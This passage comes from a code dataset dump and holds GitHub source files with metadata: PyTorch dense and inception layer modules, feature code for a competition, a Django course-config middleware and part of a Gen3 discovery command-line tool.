"usage_type": "call"}, {"api_name": "numpy.max", "line_number": 138, "usage_type": "call"}, {"api_name": "numpy.min", "line_number": 138, "usage_type": "call"}, {"api_name": "numpy.median", "line_number": 151, "usage_type": "call"}, {"api_name": "numpy.median", "line_number": 155, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 155, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 162, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 162, "usage_type": "call"}, {"api_name": "numpy.abs", "line_number": 162, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 182, "usage_type": "call"}, {"api_name": "numpy.delete", "line_number": 198, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 198, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 200, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 200, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.hist", "line_number": 201, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 201, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 202, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 202, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 203, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 203, "usage_type": "name"}, {"api_name": "numpy.linalg.eig", "line_number": 212, "usage_type": "call"}, {"api_name": "numpy.linalg", "line_number": 212, "usage_type": "attribute"}, {"api_name": "numpy.cov", "line_number": 212, "usage_type": "call"}, {"api_name": "numpy.sort", "line_number": 215, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 223, "usage_type": "call"}, {"api_name": "numpy.column_stack", "line_number": 227, "usage_type": "call"}, {"api_name": "numpy.delete", "line_number": 228, "usage_type": "call"}, {"api_name": "numpy.dot", "line_number": 230, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 244, "usage_type": "call"}, {"api_name": "numpy.cumsum", "line_number": 247, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.figure", "line_number": 250, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 250, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 251, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 251, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.scatter", "line_number": 252, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 252, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 253, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 253, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.plot", "line_number": 254, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 254, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.axhline", "line_number": 255, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 255, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.axvline", "line_number": 256, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 256, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.grid", "line_number": 257, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 257, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylabel", "line_number": 258, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 258, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.title", "line_number": 259, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 259, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.xticks", "line_number": 262, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 262, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.gca", "line_number": 264, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 264, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.gcf", "line_number": 265, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 265, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.gca", "line_number": 266, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 266, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.gcf", "line_number": 269, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 269, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.gcf", "line_number": 270, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 270, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.gcf", "line_number": 272, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 272, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.gcf", "line_number": 273, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 273, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 275, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 275, "usage_type": "name"}, {"api_name": "numpy.interp", "line_number": 297, "usage_type": "call"}]}
{"seq_id": "13290773006", "text": "import torch\nimport torch.nn as nn\n\nfrom utils.operations import makeList\n\n\nclass Dense(nn.Module):\n    \"\"\"\n        Implements Dense layer\n        Linear -> Activation -> BatchNorm(optional)\n    \"\"\"\n    def __init__(self, input_dim, output_dim, activation='relu', batch_norm=False):\n        super(Dense, self).__init__()\n\n        if isinstance(activation, str):\n            if activation=='relu':\n                activation = nn.ReLU()\n            elif activation=='sigmoid':\n                activation = nn.Sigmoid()\n            elif activation=='leaky_relu':\n                activation = nn.LeakyReLU()\n            elif activation=='tanh':\n                activation = nn.Tanh()\n            else:\n                raise AssertionError(\"Unknown activation {}, please provide with \\\n                    proper actiavtion function.\".format(activation))\n\n        self.linear = nn.Linear(input_dim, output_dim)\n        self.activation = activation\n        self.batch_norm = nn.BatchNorm1d() if batch_norm else None\n        \n    def forward(self, x):\n        y = self.linear(x)\n        y = self.activation(y)\n        if self.batch_norm:\n            y = self.batch_norm(y)\n        return y\n\n\nclass DeepLayer(nn.Module):\n\n    \"\"\"\n        Implements modulelist of Dense layers\n        Dense -> Dense -> Dense -> ...\n    \"\"\"\n    def __init__(self, size=512, n_layers=5, d_factor=2, activation='relu', bn=False):\n        super(DeepLayer, self).__init__()\n\n        if not isinstance(d_factor, list):\n            d_factor = [d_factor]*n_layers\n\n        self.size = size\n        self.n_layers = n_layers\n        self.layers = []\n        for i in range(n_layers):\n            self.layers.append(Dense(size, int(size//d_factor[i]), activation=activation, batch_norm=bn))\n            size = int(size//d_factor[i])\n        self.layers = nn.ModuleList(self.layers)\n        \n    def cuda():\n        super(DeepLayer, self).cuda()\n        for i in range(self.n_layers):\n            self.layers[i] = self.layers[i].cuda()\n\n    def forward(self, x):\n        y = x\n        for layer in self.layers:\n            y = layer(y)\n        return y\n\n\nclass CascadedDeep(nn.Module):\n    \"\"\"\n        Implements cascaded deep layer\n        Deep -> Deep -> Deep -> ...... -> Deep\n    \"\"\"\n    def __init__(self, size, n_layers, d_factors,\n                    activations='relu', bns=False):\n        super(CascadedDeep, self).__init__()\n\n        if not isinstance(activations, list):\n            activations = [activations] * len(n_layers)\n        if not isinstance(bns, list):\n            bns = [bns] * len(n_layers)\n\n        self.size, self.ret_size = size, size\n        self.n_layers = n_layers\n        self.d_factors = d_factors\n        self.activations = activations\n        self.bns = bns\n\n        self.layers = []\n\n        for layer_idx, (n_layer, d_factor, activation, bn) in \\\n            enumerate(zip(n_layers, d_factors, activations, bns)):\n\n            layer = DeepLayer(\n                size=size,\n                n_layers=n_layer,\n                d_factor=d_factor,\n                activation=activation,\n                bn=bn\n            )\n            self.layers.append(layer)\n            self.add_module(\n                \"deeplayer_{}\".format(layer_idx+1),\n                layer\n            )\n\n            size = int(size // (d_factor ** n_layer))\n\n        self.ret_size = size\n\n    def cuda(self):\n        super(CascadedDeep, self).cuda()\n        self.layers = self.layers.cuda()\n\n    def forward(self, x):\n        y = x\n        for layer in self.layers:\n            y = layer(y)\n        return y\n\n    def outSize(self):\n        return self.ret_size\n\n\nclass InceptionLayer(nn.Module):\n\n    \"\"\"\n        Implements Inception Layer\n        Args:\n            n_branches : No of parallel branches\n            size : Input size\n            n_layers : (list / int) contains no of layers for each branch\n            d_factors : (list / int) contains d_factor for each branch\n            activations : (list / int) contains activations for each branch\n            bns : (list / int) contains batch_norm for each branch\n            out : \n                'add' / 'sum' => add all the final outputs\n                'cat' => concatenate all the final outputs\n    \"\"\"\n    def __init__(self, n_branches, size, n_layers, d_factors, \n                activations='relu', bns=False,\n                out='add'):\n\n        super(InceptionLayer, self).__init__()\n\n        self.n_branches = n_branches\n        self.size = size\n        self.n_layers = makeList(n_layers, n_branches)\n        self.d_factors = makeList(d_factors, n_branches)\n        self.activations = makeList(activations, n_branches)\n        self.bns = makeList(bns, n_branches)\n        self.out = out\n\n        self.branches = []\n\n        for branch_idx, (d_factor, activation, bn) in enumerate(zip(self.d_factors, self.activations, self.bns)):\n            branch_layers, size = [], self.size\n            for i in range(self.n_layers[branch_idx]):\n                branch_layers.append(Dense(size, int(size//d_factor), activation=activation, batch_norm=bn))\n                size = int(size//d_factor)\n            self.branches.append(nn.ModuleList(branch_layers))\n\n        for branch_idx, branch in enumerate(self.branches):\n            self.add_module(str(branch_idx), branch)\n\n    def cuda():\n        super(DeepLayer, self).cuda()\n        for i in range(self.branches):\n            self.branches[i] = self.branches[i].cuda()\n\n    def forward(self, x):\n        y = []\n        for branch in self.branches:\n            y_ = branch(x)\n            y.append(y_)\n\n        if self.out=='add' or self.out=='sum':\n            y = sum(y)\n        else:\n            y = torch.cat(y, dim=0)\n        \n        return y", "repo_name": "amritsaha607/BTP", "sub_path": "models/basic_blocks.py", "file_name": "basic_blocks.py", "file_ext": "py", "file_size_in_byte": 5727, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "81", "api": [{"api_name": "torch.nn.Module", "line_number": 7, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 7, "usage_type": "name"}, {"api_name": "torch.nn.ReLU", "line_number": 17, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 17, "usage_type": "name"}, {"api_name": "torch.nn.Sigmoid", "line_number": 19, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 19, "usage_type": "name"}, {"api_name": "torch.nn.LeakyReLU", "line_number": 21, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 21, "usage_type": "name"}, {"api_name": "torch.nn.Tanh", "line_number": 23, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 23, "usage_type": "name"}, {"api_name": "torch.nn.Linear", "line_number": 28, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 28, "usage_type": "name"}, {"api_name": "torch.nn.BatchNorm1d", "line_number": 30, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 30, "usage_type": "name"}, {"api_name": "torch.nn.Module", "line_number": 40, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 40, "usage_type": "name"}, {"api_name": "torch.nn.ModuleList", "line_number": 58, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 58, "usage_type": "name"}, {"api_name": "torch.nn.Module", "line_number": 72, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 72, "usage_type": "name"}, {"api_name": "torch.nn.Module", "line_number": 128, "usage_type": "attribute"}, {"api_name": "torch.nn", "line_number": 128, "usage_type": "name"}, {"api_name": "utils.operations.makeList", "line_number": 151, "usage_type": "call"}, {"api_name": "utils.operations.makeList", "line_number": 152, "usage_type": "call"}, {"api_name": "utils.operations.makeList", "line_number": 153, "usage_type": "call"}, {"api_name": "utils.operations.makeList", "line_number": 154, "usage_type": "call"}, {"api_name": "torch.nn.ModuleList", "line_number": 164, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 164, "usage_type": "name"}, {"api_name": "torch.cat", "line_number": 183, "usage_type": "call"}]}
{"seq_id": "14360943695", "text": "import load_data\nimport numpy as np\nimport scipy.sparse as sp\nimport pandas as pd\nfrom sklearn.externals.joblib import Memory\nmemory = Memory('data/cache/')\n\nnr_levels = {'a': 11, 'b': 91, 'c': 439, 'd': 36122}\n\n\n#@memory.cache\ndef cat_matrices(path='data/', is_test=False, min_freq=0):\n    path += 'testData.csv' if is_test else'trainingData.csv'\n    if min_freq > 0:\n        cat_to_nr, _ = load_data.freq_mapping(min_freq)\n        tmp, _ = load_data.cat_mapping()\n        cat_to_nr['ab'] = tmp['ab']\n        cat_to_nr['bc'] = tmp['bc']\n        cat_to_nr['abc'] = tmp['abc']\n    else:\n        cat_to_nr, _ = load_data.cat_mapping()\n    n_lines = load_data.file_len(path)\n\n    dok_cats = {cat: sp.lil_matrix((n_lines, len(cat_to_nr[cat])),\n                dtype=np.float64) for cat in ['a', 'b', 'c', 'd']}\n    unique_items = []\n\n    with open(path) as f:\n        for nr, line in enumerate(f):\n            splited = line.split(',')\n            unique_items.append(splited[-1].count(';') + 1)\n            for click in splited[-1].split(';'):\n\n                cs = click.split('/')[:-1]\n                dok_cats['a'][nr, cat_to_nr['a'][cs[0]]] += 1\n                if cs[1] in cat_to_nr['b']:\n                    dok_cats['b'][nr, cat_to_nr['b'][cs[1]]] += 1\n                else:\n                    dok_cats['b'][nr, cat_to_nr['b']['unknown']] += 1\n                if cs[2] in cat_to_nr['c']:\n                    dok_cats['c'][nr, cat_to_nr['c'][cs[2]]] += 1\n                else:\n                    dok_cats['c'][nr, cat_to_nr['c']['unknown']] += 1\n                if cs[3] in cat_to_nr['d']:\n                    dok_cats['d'][nr, cat_to_nr['d'][cs[3]]] += 1\n                else:\n                    dok_cats['d'][nr, cat_to_nr['d']['unknown']] += 1\n\n    if min_freq > 0:\n        for cat in ['a', 'b', 'c', 'd']:\n            dok_cats[cat + '_freq' + str(min_freq)] = dok_cats.pop(cat)\n    return dok_cats\n\n\ndef get_range(id_, pad):\n    max_ = {'A': 11, 'B': 91, 'C': 439, 'D': 33489}\n    max_ = {'A': 11, 'B': 91, 'C': 439, 'D': 36122}\n    pos = int(id_[1:])\n    return range(max(0, pos - pad), min(max_[id_[0]], pos + pad))\n\n\ndef dummy_encoding(x, n_levels):\n    \"\"\" assumes values are in [0, n_levels]\n    \"\"\"\n    n_samples = len(x)\n    n_features = n_levels\n    X = sp.dok_matrix((n_samples, n_features), dtype=np.float64)\n    for i in range(len(x)):\n        X[i, x[i]] = 1\n    return X.tocsc()\n\n\ndef neighbors(cats, doc, is_test):\n    max_shift = doc['max_shift']\n    results = {}\n    for f in doc['shift_features']:\n        X = cats[f].tocsr()\n        n_samples, n_features = X.shape\n        X_coll = None\n        for dist in range(1, max_shift + 1):\n            X_left, X_right, X_shift = matrix_shift(X, dist)\n            if X_coll is None:\n                X_coll = X_shift\n            else:\n                X_coll = X_coll + X_shift\n                results[f + '1-' + str(dist)] = X_shift\n            assert X_shift.shape == X.shape\n            results[f + str(dist)] = X_shift\n    return results\n\n\ndef matrix_shift(X, shift):\n    n_samples = X.shape[0]\n    i_shift = np.arange(n_samples) + shift\n    padding = i_shift > n_samples - 1\n    i_shift[padding] = 0\n    X_right = X[i_shift, :]\n    X_right[padding, :] = 0\n\n    i_shift = np.arange(n_samples) - shift\n    padding = i_shift < 0\n    i_shift[padding] = 0\n    X_left = X[i_shift, :]\n    X_left[padding, :] = 0\n    return X_left, X_right, X_left + X_right\n", "repo_name": "ibayer/PAKDD2015_Competition", "sub_path": "features.py", "file_name": "features.py", "file_ext": "py", "file_size_in_byte": 3421, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "81", "api": [{"api_name": "sklearn.externals.joblib.Memory", "line_number": 6, "usage_type": "call"}, {"api_name": "load_data.freq_mapping", "line_number": 15, "usage_type": "call"}, {"api_name": "load_data.cat_mapping", "line_number": 16, "usage_type": "call"}, {"api_name": "load_data.cat_mapping", "line_number": 21, "usage_type": "call"}, {"api_name": "load_data.file_len", "line_number": 22, "usage_type": "call"}, {"api_name": "scipy.sparse.lil_matrix", "line_number": 24, "usage_type": "call"}, {"api_name": "scipy.sparse", "line_number": 24, "usage_type": "name"}, {"api_name": "numpy.float64", "line_number": 25, "usage_type": "attribute"}, {"api_name": "scipy.sparse.dok_matrix", "line_number": 67, "usage_type": "call"}, {"api_name": "scipy.sparse", "line_number": 67, "usage_type": "name"}, {"api_name": "numpy.float64", "line_number": 67, "usage_type": "attribute"}, {"api_name": "numpy.arange", "line_number": 94, "usage_type": "call"}, {"api_name": "numpy.arange", "line_number": 100, "usage_type": "call"}]}
{"seq_id": "74945261065", "text": "from django.contrib.auth.models import AnonymousUser, User\nfrom django.shortcuts import redirect\n\nfrom Badges.models import CourseConfigParams\nfrom Instructors.models import Courses\nfrom Students.models import Student, StudentConfigParams\n\n\nclass CourseConfigMiddleware:\n    ''' This middleware will prevent students (and instructors) from being able to access pages by url \n        that should only be available if certain config settings are enabled\n\n        The paths dictionary is a collection of url paths and course config/student config variables that \n        should have a certain value. If the current config setting for a user doesn't match any of the\n        values for that url, the user will be sent back to the course home page.\n    '''\n    def __init__(self, get_response):\n        self.get_response = get_response\n        # One-time configuration and initialization.\n        self.paths = {\n            '/oneUp/students/Announcements':\n                {\n                    'announcementsUsed': True,\n                },\n            '/oneUp/students/Leaderboard': \n                {\n                    'leaderboardUsed': True, \n                    'skillLeaderboardDisplayed': True,\n                    'gamificationUsed': True,\n                },\n            '/oneUp/students/LeaderboardInfo': \n                {\n                    'leaderboardUsed': True, \n                    'gamificationUsed': True,\n                },\n            '/oneUp/badges/CourseBadges': \n                {\n                    'badgesUsed': True, \n                    'gamificationUsed': True,\n                },\n            '/oneUp/students/VirtualCurrencyRules': \n                {\n                    'virtualCurrencyUsed': True, \n                    'gamificationUsed': True,\n                },\n            '/oneUp/students/ChallengesWarmUpList': \n                {\n                    'warmupsUsed': True, \n                },\n            '/oneUp/students/ChallengesList': \n                {\n                    'seriousChallengesUsed': True, \n                },\n            '/oneUp/students/ActivityList': \n                {\n                    'activitiesUsed': True, \n                },\n            '/oneUp/students/CoursePerformance': \n                {\n                    'gradebookUsed': True, \n                },\n            '/oneUp/students/achievements': \n                {\n                    'displayAchievementPage': True, \n                   \n                },\n            '/oneUp/students/avatar': \n                {\n                    'avatarUsed': True, \n                    'gamificationUsed': True,\n                    'useCustomAvatar': False,\n                },\n            '/oneUp/students/AvatarEditor': \n                {\n                    'avatarUsed': True,                     \n                    'gamificationUsed': True,\n                    'useCustomAvatar': True,\n                },\n            '/oneUp/students/goalslist': \n                {\n                    'goalsUsed': True, \n                    'gamificationUsed': True,\n                },\n            '/oneUp/chat/api': \n                {\n                    'chatUsed': True, \n                },\n            '/oneUp/students/VirtualCurrencyShop': \n                {\n                    'virtualCurrencyUsed': True, \n                    'gamificationUsed': True,\n                },\n            '/oneUp/students/Transactions': \n                {\n                    'virtualCurrencyUsed': True, \n                    'gamificationUsed': True,\n                },\n            '/oneUp/students/Callouts': \n                {\n                    'classmatesChallenges': True, \n                    'gamificationUsed': True,\n                },\n       \n            # TODO: Add links for instructors?\n            '/oneUp/instructors/preferences':\n                {\n                    'gamificationUsed': True,\n                },\n            '/oneUp/badges/VirtualApplauseEarnRuleList':\n                {\n                    'gamificationUsed': True,\n                    'applauseOn': True,\n                },\n            '/oneUp/badges/CreateVirtualApplauseRule':\n                {\n                    'gamificationUsed': True,\n                    'applauseOn': True,\n                },\n        }\n        self.reset_course_paths = ['/oneUp/students/StudentHome', '/oneUp/instructors/instructorHome']\n\n        # not sure about caching these as we can have many users requesting at once\n        self.course_config_params = None\n        self.student_config_params = None\n        self.current_course = None\n        self.current_user = None\n\n    def __call__(self, request):\n        # Code to be executed for each request before\n        # the view (and later middleware) are called.\n        # print(f'PATH {request.path}')\n        \n        # Check if we are trying to go to a page that should have no course selected and delete the course session \n        if request.path in self.reset_course_paths:\n            self.course_config_params = None\n            self.current_course = None\n            if 'currentCourseID' in request.session:\n                del request.session['currentCourseID']\n\n        if request.user == AnonymousUser:\n            self.student_config_params = None\n            self.current_user = None\n            self.course_config_params = None\n            self.current_course = None\n\n        # If request in paths to check and user is not fully logged out..\n        if request.path in self.paths and not request.user == AnonymousUser:\n            # Get current course\n            if 'currentCourseID' in request.session:\n                course = Courses.objects.get(pk=int(request.session['currentCourseID']))\n            else:\n                course = None\n\n            # Get current student\n            if 'userID' in request.GET:    \n                # This is a teacher viewing as a student\n                stud = User.objects.get(username=request.GET['userID'])\n                student = Student.objects.filter(user=stud).first()\n            else:\n                # This will also get the teacher student object (test student)\n                student = Student.objects.filter(user=request.user).first()\n\n            # Get the latest course and student config parameters\n            self.update_params(course, student)\n            # ccparams, scparams = self.update_params_constant(course, student)\n            # print(self.course_config_params, self.student_config_params)\n            # We check the configs fields to see if this request is valid\n            if self.validate_request(request.path, ccparams=self.course_config_params, scparams=self.student_config_params) is False:\n                if course:\n                    if student and student.user.groups.filter(name='Teachers').exists() or not student:\n                        return redirect('/oneUp/instructors/instructorCourseHome')\n                    else:\n                        return redirect('/oneUp/students/StudentCourseHome')\n                else:\n                    if student and student.user.groups.filter(name='Teachers').exists() or not student:\n                        return redirect('/oneUp/instructors/instructorHome')\n                    else:\n                        return redirect('/oneUp/students/StudentHome')\n\n        response = self.get_response(request)\n\n        # Code to be executed for each request/response after\n        # the view is called.\n\n        return response\n    \n    def update_params(self, course, student):\n        if course:\n            self.course_config_params = CourseConfigParams.objects.get(courseID=course)\n            self.current_course = course\n        if course and student:\n            self.student_config_params = StudentConfigParams.objects.get(courseID=course, studentID=student)\n            self.current_user = student\n\n        # print(self.__dict__)\n    \n    def validate_request(self, path, ccparams=None, scparams=None):\n        ''' Check corresponding configuration fields for a path that \n            should have a specific value\n        '''\n        fields_to_check = self.paths[path]\n\n        for field, value in fields_to_check.items():\n            if ccparams and hasattr(ccparams, field):\n                if getattr(ccparams, field) is not value:\n                    return False\n            elif scparams and hasattr(scparams, field):\n                if getattr(scparams, field) is not value:\n                    return False\n            else:\n                return False\n\n        return True\n    \n    def update_params_constant(self, course, student):\n        ccparams = None\n        scparams = None\n        if course:\n            ccparams = CourseConfigParams.objects.get(courseID=course)\n            if student:\n                scparams = StudentConfigParams.objects.get(courseID=course, studentID=student)\n\n        return ccparams, scparams\n", "repo_name": "OneUp-Learning/oneUp", "sub_path": "oneUp/middleware/CourseConfigMiddleware.py", "file_name": "CourseConfigMiddleware.py", "file_ext": "py", "file_size_in_byte": 8881, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "81", "api": [{"api_name": "django.contrib.auth.models.AnonymousUser", "line_number": 140, "usage_type": "name"}, {"api_name": "django.contrib.auth.models.AnonymousUser", "line_number": 147, "usage_type": "name"}, {"api_name": "Instructors.models.Courses.objects.get", "line_number": 150, "usage_type": "call"}, {"api_name": "Instructors.models.Courses.objects", "line_number": 150, "usage_type": "attribute"}, {"api_name": "Instructors.models.Courses", "line_number": 150, "usage_type": "name"}, {"api_name": "django.contrib.auth.models.User.objects.get", "line_number": 157, "usage_type": "call"}, {"api_name": "django.contrib.auth.models.User.objects", "line_number": 157, "usage_type": "attribute"}, {"api_name": "django.contrib.auth.models.User", "line_number": 157, "usage_type": "name"}, {"api_name": "Students.models.Student.objects.filter", "line_number": 158, "usage_type": "call"}, {"api_name": "Students.models.Student.objects", "line_number": 158, "usage_type": "attribute"}, {"api_name": "Students.models.Student", "line_number": 158, "usage_type": "name"}, {"api_name": "Students.models.Student.objects.filter", "line_number": 161, "usage_type": "call"}, {"api_name": "Students.models.Student.objects", "line_number": 161, "usage_type": "attribute"}, {"api_name": "Students.models.Student", "line_number": 161, "usage_type": "name"}, {"api_name": "django.shortcuts.redirect", "line_number": 171, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 173, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 176, "usage_type": "call"}, {"api_name": "django.shortcuts.redirect", "line_number": 178, "usage_type": "call"}, {"api_name": "Badges.models.CourseConfigParams.objects.get", "line_number": 189, "usage_type": "call"}, {"api_name": "Badges.models.CourseConfigParams.objects", "line_number": 189, "usage_type": "attribute"}, {"api_name": "Badges.models.CourseConfigParams", "line_number": 189, "usage_type": "name"}, {"api_name": "Students.models.StudentConfigParams.objects.get", "line_number": 192, "usage_type": "call"}, {"api_name": "Students.models.StudentConfigParams.objects", "line_number": 192, "usage_type": "attribute"}, {"api_name": "Students.models.StudentConfigParams", "line_number": 192, "usage_type": "name"}, {"api_name": "Badges.models.CourseConfigParams.objects.get", "line_number": 219, "usage_type": "call"}, {"api_name": "Badges.models.CourseConfigParams.objects", "line_number": 219, "usage_type": "attribute"}, {"api_name": "Badges.models.CourseConfigParams", "line_number": 219, "usage_type": "name"}, {"api_name": "Students.models.StudentConfigParams.objects.get", "line_number": 221, "usage_type": "call"}, {"api_name": "Students.models.StudentConfigParams.objects", "line_number": 221, "usage_type": "attribute"}, {"api_name": "Students.models.StudentConfigParams", "line_number": 221, "usage_type": "name"}]}
{"seq_id": "29959320344", "text": "import asyncio\nimport click\nimport csv\n\nfrom gen3.tools.metadata.discovery import (\n    publish_discovery_metadata,\n    output_expanded_discovery_metadata,\n    try_delete_discovery_guid,\n    combine_discovery_metadata,\n)\nfrom gen3.tools.metadata.discovery_objects import (\n    output_discovery_objects,\n    publish_discovery_object_metadata,\n    try_delete_discovery_objects,\n    try_delete_discovery_objects_from_dict,\n    is_valid_object_manifest,\n)\nfrom gen3.utils import get_or_create_event_loop_for_thread\n\n\n@click.group()\ndef discovery():\n    \"\"\"Commands for reading and editing discovery metadata\"\"\"\n    pass\n\n\n@click.command()\n@click.argument(\"file\", required=False)\n@click.option(\n    \"--default-file\",\n    \"use_default_file\",\n    is_flag=True,\n    help=\"Publishes {commons}-{guid_type}.tsv from current directory\",\n    show_default=True,\n)\n@click.option(\n    \"--omit-empty\",\n    \"omit_empty\",\n    is_flag=True,\n    help=\"omit fields from empty columns if set\",\n    show_default=True,\n)\n@click.option(\n    \"--guid-type\",\n    \"guid_type\",\n    default=\"discovery_metadata\",\n    help=(\n        \"The value of this gets set as _guid_type in the root level metadata. \"\n        \"discovery_metadata is the default that enables the Gen3 Discovery Page to visualize the results.\"\n    ),\n    show_default=True,\n)\n@click.option(\n    \"--guid_field\",\n    \"guid_field\",\n    help=(\n        'The column / field name within the metadata that will be used as GUIDs, if not specified, will try to find a column \\ field named \"guid\" from the metadata.'\n        \"If that field doesn't exists in a certain metadata record, that record will be skipped from publishing.\"\n    ),\n    default=None,\n    show_default=True,\n)\n@click.pass_context\ndef discovery_publish(ctx, file, use_default_file, omit_empty, guid_type, guid_field):\n    \"\"\"\n    Run a discovery metadata ingestion on a given metadata TSV / JSON file with guid column / field.\n    If [FILE] is omitted and --default-file not set, prompts for TSV / JSON file name.\n    \"\"\"\n    if is_valid_object_manifest(file):\n        click.confirm(\n            \"WARNING! It appears like you are attempting to publish discovery **objects** (based on the file provided) but you are attempting to use the non-object, dataset-level command `gen3 discovery publish`. Perhaps you meant to use `gen3 discovery objects publish`. Are you sure you want proceed with publishing the dataset-level discovery metadata using the object file?\",\n            abort=True,\n        )\n\n    auth = ctx.obj[\"auth_factory\"].get()\n    if not file and not use_default_file:\n        file = click.prompt(\"Enter discovery metadata TSV / JSON file to publish\")\n\n    loop = get_or_create_event_loop_for_thread()\n    endpoint = ctx.obj.get(\"endpoint\")\n    loop.run_until_complete(\n        publish_discovery_metadata(\n            auth,\n            file,\n            endpoint=endpoint,\n            omit_empty_values=omit_empty,\n            guid_type=guid_type,\n            guid_field=guid_field,\n        )\n    )\n\n\n@click.command()\n@click.option(\n    \"--limit\",\n    \"limit\",\n    help=\"max number of metadata records to fetch\",\n    default=500,\n    show_default=True,\n)\n@click.option(\n    \"--agg\",\n    is_flag=True,\n    help=\"use aggregate metadata service instead of the metadata service\",\n    show_default=True,\n)\n@click.option(\n    \"--guid_type\",\n    \"guid_type\",\n    help=\"value of intended GUID type for query\",\n    default=\"discovery_metadata\",\n    show_default=True,\n)\n@click.option(\n    \"--output_format\",\n    \"output_format\",\n    help=\"format of output file (can only be either tsv or json)\",\n    default=\"tsv\",\n    show_default=True,\n)\n@click.option(\n    \"--output_filename_suffix\",\n    \"output_filename_suffix\",\n    help=\"additional suffix for the output file name\",\n    default=\"\",\n    show_default=True,\n)\n@click.pass_context\ndef discovery_read(ctx, limit, agg, guid_type, output_format, output_filename_suffix):\n    \"\"\"\n    Download the metadata used to populate a commons' discovery page into a TSV or JSON file.\n    Outputs the TSV / JSON filename with format {commons-url}-{guid_type}.tsv/.json\n    If \"output_filename_suffix\" exists, file name will be something like {commons-url}-{guid_type}-{output_filename_suffix}\n    \"\"\"\n    auth = ctx.obj[\"auth_factory\"].get()\n    loop = get_or_create_event_loop_for_thread()\n    endpoint = ctx.obj.get(\"endpoint\")\n    output_file = loop.run_until_complete(\n        output_expanded_discovery_metadata(\n            auth,\n            endpoint=endpoint,\n            limit=limit,\n            use_agg_mds=agg,\n            guid_type=guid_type,\n            output_format=output_format,\n            output_filename_suffix=output_filename_suffix,\n        )\n    )\n\n    click.echo(output_file)\n\n\n@click.command()\n@click.argument(\"file\", required=False)\n@click.option(\n    \"--output-filename\",\n    \"output_filename\",\n    help=\"filename for final combined output\",\n    default=\"combined_discovery_metadata.tsv\",\n    show_default=True,\n)\n@click.option(\n    \"--max-number-discovery-records\",\n    \"max_number_discovery_records\",\n    help=\"max number of metadata records to fetch. Initially defaulted to something very high. If you start to miss records, you may need to bump this up.\",\n    default=8192,\n    type=int,\n    show_default=True,\n)\n@click.option(\n    \"--discovery-column-to-map-on\",\n    \"discovery_column_to_map_on\",\n    help=\"The column in the current discovery metadata to use to\",\n    default=\"guid\",\n    